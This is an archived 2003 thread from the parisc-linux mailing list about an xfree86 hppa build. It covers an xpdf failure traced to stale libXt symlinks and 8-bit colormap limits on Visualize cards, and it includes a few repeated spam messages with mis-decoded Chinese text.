In-Reply-To: <3F28D766000037C6@ocpmta4.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19201

On Wed, Aug 13, 2003 at 06:43:27PM +0200, Joel Soete wrote:
> hmm what is an interlock? (just to complet my knowledge)

It's the logic in a CPU to stall an instruction which is waiting
for the results of a previous instruction.
ie the register contents used by the second instruction are not valid
until any previous instruction actually completes.

grant


From - Thu Nov 08 21:28:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xfree86 4.2.1-9 build problem
Date: Wed, 13 Aug 2003 11:53:40 -0600
Lines: 30
Approved: news@gmane.org
Message-ID: <20030813175340.GF18794@dsl2.external.hp.com>
References: <20030811043457.GA5653@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622680 29440 80.91.229.3 (22 Nov 2014 02:18:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:00 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 13 11:53:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 3B8A6482D; Wed, 13 Aug 2003 11:53:40 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030811043457.GA5653@dsl2.external.hp.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19202

On Sun, Aug 10, 2003 at 10:34:57PM -0600, Grant Grundler wrote:
> This started out as an issue with glxinfo program in xfree86.

I've built a full set of xfree86-4.2.1-9 hppa debs with gcc 3.3.1.
(last ones in "testing" are 4.2.1-6 and built with gcc 3.0.1 IIRC)

Public URL	http://gsyprf11.external.hp.com/hppa/xfree86-4.2.1-9/
HP Internal 	http://debian.cup.hp.com/parisc/xfree86-4.2.1-9/

The bits seem to run fine on my c3k...but xpdf still fails:

grundler <513>xpdf -cmap dino31.pdf 
Error: Unresolved inheritance operation
grundler <514>
...
grundler <516>dpkg -l xlibs
Desired=Unknown/Install/Remove/Purge/Hold
|
Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed
|/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err:
uppercase=bad)
||/ Name           Version        Description
+++-==============-==============-============================================
ii  xlibs          4.2.1-9        X Window System client libraries

*sigh*.
Do I need to restart X11 or something?

grant


From - Thu Nov 08 21:28:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xfree86 4.2.1-9 build problem
Date: 13 Aug 2003 15:11:42 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <1060805514.2011.1.camel@fuzzy>
References: <20030811043457.GA5653@dsl2.external.hp.com> 
	<20030813175340.GF18794@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622681 29443 80.91.229.3 (22 Nov 2014 02:18:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:01 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 13 14:11:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6BADA482D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Aug 2003 14:11:55 -0600 (MDT)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h7DKBrI05419;
	Wed, 13 Aug 2003 16:11:53 -0400
In-Reply-To: <20030813175340.GF18794@dsl2.external.hp.com>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9.7x.1) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19203

On Wed, 2003-08-13 at 12:53, Grant Grundler wrote:
> grundler <513>xpdf -cmap dino31.pdf 
> Error: Unresolved inheritance operation
> grundler <514>

Hmm, it looks like you still have the libXt problem.  Are you sure you
installed the newly compiled one?

> *sigh*.
> Do I need to restart X11 or something?

I didn't.  All I did was pull libXt.so.6.0 out of the gcc-3.3.1 build
and copy it into /usr/X11R6/lib.  Then xpdf worked for me.

James




From - Thu Nov 08 21:28:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xfree86 4.2.1-9 build problem
Date: Wed, 13 Aug 2003 15:32:04 -0600
Lines: 34
Approved: news@gmane.org
Message-ID: <20030813213204.GA26014@dsl2.external.hp.com>
References: <20030811043457.GA5653@dsl2.external.hp.com> <20030813175340.GF18794@dsl2.external.hp.com> <1060805514.2011.1.camel@fuzzy>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622681 29445 80.91.229.3 (22 Nov 2014 02:18:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:01 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 13 15:32:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id C9DD7482D; Wed, 13 Aug 2003 15:32:04 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1060805514.2011.1.camel@fuzzy>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19204

On Wed, Aug 13, 2003 at 03:11:42PM -0500, James Bottomley wrote:
> Hmm, it looks like you still have the libXt problem.  Are you sure you
> installed the newly compiled one?

I did...but you are definitely asking the right qustion.
I didn't see:
grundler@debian:~$ ls -l /usr/X11R6/lib/libXt.so*
lrwxrwxrwx    1 root     root           10 Jul 10 11:13 /usr/X11R6/lib/libXt.so -> libXt.so.6
lrwxrwxrwx    1 root     root           17 Aug 12 10:29 /usr/X11R6/lib/libXt.so.6 -> libXt.so.6.0-orig
-rw-r--r--    1 root     root       402072 Aug 11 19:55 /usr/X11R6/lib/libXt.so.6.0
-rw-r--r--    1 root     root       397408 Feb 25 21:57 /usr/X11R6/lib/libXt.so.6.0-orig

deleting the -orig file(s!) and fixing up the symlink(s) got xpdf
working again.  Yeah!
I found 6 or 7 X11/libs had been redirected to the -orig files.

Thanks for asking the right stupid question....and I'll have
to take the blame for leaving -orig files laying around.
Randolph observed ldconfig will fixup the links if something
"newer" (based on filename) is available. And "man ldconfig"
talks about how that works. *sigh*

Besides the /lib and /usr/lib directories (default), ldconfig
also looks at:
grundler <525>cat /etc/ld.so.conf 
/usr/X11R6/lib
grundler <526>


if I can just figure out what's botching the colors for xchat2 now...

thanks,
grant


From - Thu Nov 08 21:28:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xfree86 4.2.1-9 build problem
Date: 13 Aug 2003 17:53:33 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <1060815215.1987.2.camel@fuzzy>
References: <20030811043457.GA5653@dsl2.external.hp.com>
	<20030813175340.GF18794@dsl2.external.hp.com>
	<1060805514.2011.1.camel@fuzzy> 
	<20030813213204.GA26014@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622681 29447 80.91.229.3 (22 Nov 2014 02:18:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:01 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 13 16:53:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4D502482D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Aug 2003 16:53:35 -0600 (MDT)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h7DMrXI13417;
	Wed, 13 Aug 2003 18:53:33 -0400
In-Reply-To: <20030813213204.GA26014@dsl2.external.hp.com>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9.7x.1) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19205

On Wed, 2003-08-13 at 16:32, Grant Grundler wrote:
> if I can just figure out what's botching the colors for xchat2 now...

Is this with one of the Visualize cards?  They only do 8bpp at all
resolutions, so if you run a colourful window manager, you run out
pretty quickly.  Even using the default fvwm, I had to run xpdf with a
private colourmap (-cmap option) to get my slides to show up as anything
like reasonable).

A lot of modern applications (particularly of the kde or gnome variety)
pay absolutely no attention to potential colour map limitations and can
blithely request more colours than you have available (and sometimes not
even check for failure returns).

James




From - Thu Nov 08 21:28:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xfree86 4.2.1-9 build problem
Date: 14 Aug 2003 01:12:05 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <1060819924.4004.0.camel@dhcp23.swansea.linux.org.uk>
References: <20030811043457.GA5653@dsl2.external.hp.com>
	 <20030813175340.GF18794@dsl2.external.hp.com>
	 <1060805514.2011.1.camel@fuzzy>
	 <20030813213204.GA26014@dsl2.external.hp.com>
	 <1060815215.1987.2.camel@fuzzy>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622682 29479 80.91.229.3 (22 Nov 2014 02:18:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:02 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 13 18:12:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dhcp23.swansea.linux.org.uk (unknown [81.2.110.254])
	by dsl2.external.hp.com (Postfix) with ESMTP id E5E86482D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Aug 2003 18:12:36 -0600 (MDT)
Original-Received: from dhcp23.swansea.linux.org.uk (localhost.localdomain [127.0.0.1])
	by dhcp23.swansea.linux.org.uk (8.12.9/8.12.9) with ESMTP id h7E0C7ra004075;
	Thu, 14 Aug 2003 01:12:08 +0100
Original-Received: (from alan@localhost)
	by dhcp23.swansea.linux.org.uk (8.12.9/8.12.9/Submit) id h7E0C6gd004073;
	Thu, 14 Aug 2003 01:12:06 +0100
X-Authentication-Warning: dhcp23.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <1060815215.1987.2.camel@fuzzy>
X-Mailer: Ximian Evolution 1.4.3 (1.4.3-3) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19206

On Mer, 2003-08-13 at 23:53, James Bottomley wrote:
> A lot of modern applications (particularly of the kde or gnome variety)
> pay absolutely no attention to potential colour map limitations and can
> blithely request more colours than you have available (and sometimes not
> even check for failure returns).

Set the display to a fixed colour mapping is the simplest approach.
XFree 4.x is quite happy to let you set different visuals and get
things like an 8bit fixed palette



From - Thu Nov 08 21:28:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?GB2312?B?uePW3dLGtq8=?= <web@gmce.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?GB2312?B?uePW3dLGtq+w78T6yqG7sLfR?=
Date: Thu, 14 Aug 2003 10:21:19 +0800
Lines: 10
Approved: news@gmane.org
Message-ID: <20030814021905.8AC86483F@dsl2.external.hp.com>
Reply-To: web@gmce.net
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;charset="GB2312"
X-Trace: ger.gmane.org 1416622682 29487 80.91.229.3 (22 Nov 2014 02:18:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:02 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 13 20:19:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from gmce.net (unknown [211.147.255.241])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8AC86483F
	for <parisc-linux@parisc-linux.org>; Wed, 13 Aug 2003 20:19:05 -0600 (MDT)
X-Priority: 3
X-Mailer: FoxMail 4.0 beta 2 [cn]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19207

ƶʡ
ʱ䣺81831
ݣԤ100Ԫ200Ԫѣϼ300Ԫ12ÿ»25Ԫ
עֻȫͨû
ָҵ绰85580308  85580908
ලͶߵ绰89822292





From - Thu Nov 08 21:28:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?GB2312?B?uePW3dLGtq8=?= <web@gmce.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?GB2312?B?uePW3dLGtq+w78T6yqG7sLfR?=
Date: Thu, 14 Aug 2003 10:21:27 +0800
Lines: 10
Approved: news@gmane.org
Message-ID: <20030814021913.893F14841@dsl2.external.hp.com>
Reply-To: web@gmce.net
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;charset="GB2312"
X-Trace: ger.gmane.org 1416622682 29489 80.91.229.3 (22 Nov 2014 02:18:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 13 20:19:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gmce.net (unknown [211.147.255.241])
	by dsl2.external.hp.com (Postfix) with ESMTP id 893F14841
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Aug 2003 20:19:13 -0600 (MDT)
X-Priority: 3
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19208

ƶʡ
ʱ䣺81831
ݣԤ100Ԫ200Ԫѣϼ300Ԫ12ÿ»25Ԫ
עֻȫͨû
ָҵ绰85580308  85580908
ලͶߵ绰89822292





From - Thu Nov 08 21:28:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xfree86 4.2.1-9 build problem
Date: Wed, 13 Aug 2003 23:12:36 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <20030814051236.GA3546@dsl2.external.hp.com>
References: <20030811043457.GA5653@dsl2.external.hp.com> <20030813175340.GF18794@dsl2.external.hp.com> <1060805514.2011.1.camel@fuzzy> <20030813213204.GA26014@dsl2.external.hp.com> <1060815215.1987.2.camel@fuzzy>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622683 29490 80.91.229.3 (22 Nov 2014 02:18:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:03 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 13 23:12:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 0DE514861; Wed, 13 Aug 2003 23:12:36 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1060815215.1987.2.camel@fuzzy>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19209

On Wed, Aug 13, 2003 at 05:53:33PM -0500, James Bottomley wrote:
> Is this with one of the Visualize cards?  They only do 8bpp at all
> resolutions, so if you run a colourful window manager, you run out
> pretty quickly.  Even using the default fvwm, I had to run xpdf with a
> private colourmap (-cmap option) to get my slides to show up as anything
> like reasonable).

yes. And I'm using fvwm2 which I thought was supposed to be a fairly
(not totally) light weight window manager. I'll see if there are
knobs to reduce the FVWM color consumption.

> A lot of modern applications (particularly of the kde or gnome variety)
> pay absolutely no attention to potential colour map limitations and can
> blithely request more colours than you have available (and sometimes not
> even check for failure returns).

yup - I was looking to find the code to and at least print a warning
so I know that's the problem. I've spent < 1h hunting through the code
to figure out where the colors for the text box was allocated. Haven't
found it yet though.


From - Thu Nov 08 21:28:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?GB2312?B?uePW3dLGtq8=?= <web@gmce.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?GB2312?B?uePW3dLGtq+w78T6yqG7sLfR?=
Date: Thu, 14 Aug 2003 13:36:42 +0800
Lines: 10
Approved: news@gmane.org
Message-ID: <20030814053428.1C25F4861@dsl2.external.hp.com>
Reply-To: web@gmce.net
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;charset="GB2312"
X-Trace: ger.gmane.org 1416622683 29493 80.91.229.3 (22 Nov 2014 02:18:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:03 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 13 23:34:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from gmce.net (unknown [211.147.255.241])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1C25F4861
	for <parisc-linux@parisc-linux.org>; Wed, 13 Aug 2003 23:34:28 -0600 (MDT)
X-Priority: 3
X-Mailer: FoxMail 3.11 Release [cn]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19210

ƶʡ
ʱ䣺81831
ݣԤ100Ԫ200Ԫѣϼ300Ԫ12ÿ»25Ԫ
עֻȫͨû
ָҵ绰85580308  85580908
ලͶߵ绰89822292





From - Thu Nov 08 21:28:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?GB2312?B?uePW3dLGtq8=?= <web@gmce.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?GB2312?B?uePW3dLGtq+w78T6yqG7sLfR?=
Date: Thu, 14 Aug 2003 13:36:53 +0800
Lines: 10
Approved: news@gmane.org
Message-ID: <20030814053430.8C2A84861@dsl2.external.hp.com>
Reply-To: web@gmce.net
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;charset="GB2312"
X-Trace: ger.gmane.org 1416622683 29498 80.91.229.3 (22 Nov 2014 02:18:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 13 23:34:41 2003
